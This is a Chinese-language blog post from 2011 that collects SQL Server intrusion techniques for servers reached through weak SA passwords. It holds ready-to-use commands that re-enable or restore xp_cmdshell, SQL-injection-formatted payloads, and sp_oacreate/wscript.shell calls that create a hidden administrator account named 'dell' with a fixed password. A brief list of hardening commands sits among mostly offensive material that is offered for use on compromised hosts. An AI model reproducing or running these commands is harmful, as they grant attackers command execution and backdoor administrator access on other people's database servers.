MSSQL入侵恢复xp_cmdshell方法总结

MSSQL弱口令入侵已经很罕见了,但在内网时有时还能用到,今天在搞机器的时候遇上一MSSQL2005,第一次见这错误信息,搜索到答案,贴在BLOG上以后遇上备用.-----------------------------------------------------------------------------------------------------------
错误信息:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 
'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,因此也在注射过程中产生了点困难。后来经过查看MSSQL2005的手册才知道情况原来如此:用下面一句话就可以了解决了。

 ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
 ;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--
如果cmdshell还不行的话,就再运行:
 ;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--或者
 ;sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'来恢复cmdshell。


sql server 2005下开启xp_cmdshell的办法

 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

SQL2005开启'OPENROWSET'支持的方法:

 exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005开启'sp_oacreate'支持的方法:

 exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

突破SA的各种困难常见情况恢复执行xp_cmdshell1 未能找到存储过程'master..xpcmdshell'.恢复方法:查询分离器连接后,第一步执行: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int第二步执行: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)恢复方法:查询分离器连接后,第一步执行: sp_dropextendedproc "xp_cmdshell"第二步执行: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)恢复方法:查询分离器连接后,第一步执行: exec sp_dropextendedproc 'xp_cmdshell'第二步执行: exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'然后按F5键命令执行完毕四.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:查询分离器连接后,2000servser系统:

 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系统:

 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'

--------------xp_cmdshell新的恢复办法删除

 drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'

恢复

 dbcc addextendedproc ("sp_oacreate","odsole70.dll")dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:

 exec sp_dropextendedproc 'xp_cmdshell'

恢复cmdshell的sql语句

 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

开启cmdshell的sql语句

 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在

 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell

 exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll

 exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

堵上cmdshell的sql语句

 sp_dropextendedproc "xp_cmdshell
----------------删除sql危险存储:


 Drop PROCEDURE sp_makewebtaskexec master..sp_dropextendedproc xp_cmdshellexec master..sp_dropextendedproc xp_dirtreeexec master..sp_dropextendedproc xp_fileexistexec master..sp_dropextendedproc xp_terminate_processexec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreateexec master..sp_dropextendedproc xp_regaddmultistringexec master..sp_dropextendedproc xp_regdeletekeyexec master..sp_dropextendedproc xp_regdeletevalueexec master..sp_dropextendedproc xp_regenumkeysexec master..sp_dropextendedproc xp_regenumvaluesexec master..sp_dropextendedproc sp_add_jobexec master..sp_dropextendedproc sp_addtaskexec master..sp_dropextendedproc xp_regreadexec master..sp_dropextendedproc xp_regwriteexec master..sp_dropextendedproc xp_readwebtaskexec master..sp_dropextendedproc xp_makewebtaskexec master..sp_dropextendedproc xp_regremovemultistringexec master..sp_dropextendedproc sp_OACreateDrop PROCEDURE sp_addextendedproc/*附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:
SQL代码:

 create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0    begin raiserror(15002,-1,-1,'sp_addextendedproc')    return (1)    end dbcc addextendedproc( @functname, @dllname)    return (0) -- sp_addextendedproc GO
再恢复以上所有扩展存储过程
SQL代码:

 use master    exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'    exec sp_addextendedproc xp_dirtree,'xpstar.dll'    exec sp_addextendedproc xp_enumgroups,'xplog70.dll'    exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'    exec sp_addextendedproc xp_loginconfig,'xplog70.dll'    exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'    exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'    exec sp_addextendedproc sp_OACreate,'odsole70.dll'    exec sp_addextendedproc sp_OADestroy,'odsole70.dll'    exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'    exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'    exec sp_addextendedproc sp_OAMethod,'odsole70.dll'    exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'    exec sp_addextendedproc sp_OAStop,'odsole70.dll'    exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'    exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'    exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'    exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'    exec sp_addextendedproc xp_regread,'xpstar.dll'    exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'    exec sp_addextendedproc xp_regwrite,'xpstar.dll'    exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。
有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !接下来我们用SQL语句搞定他
分析器执行的语句:

 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE


posted on 2011-04-17 23:34  =_=!  阅读(2654)  评论(0编辑  收藏  举报

导航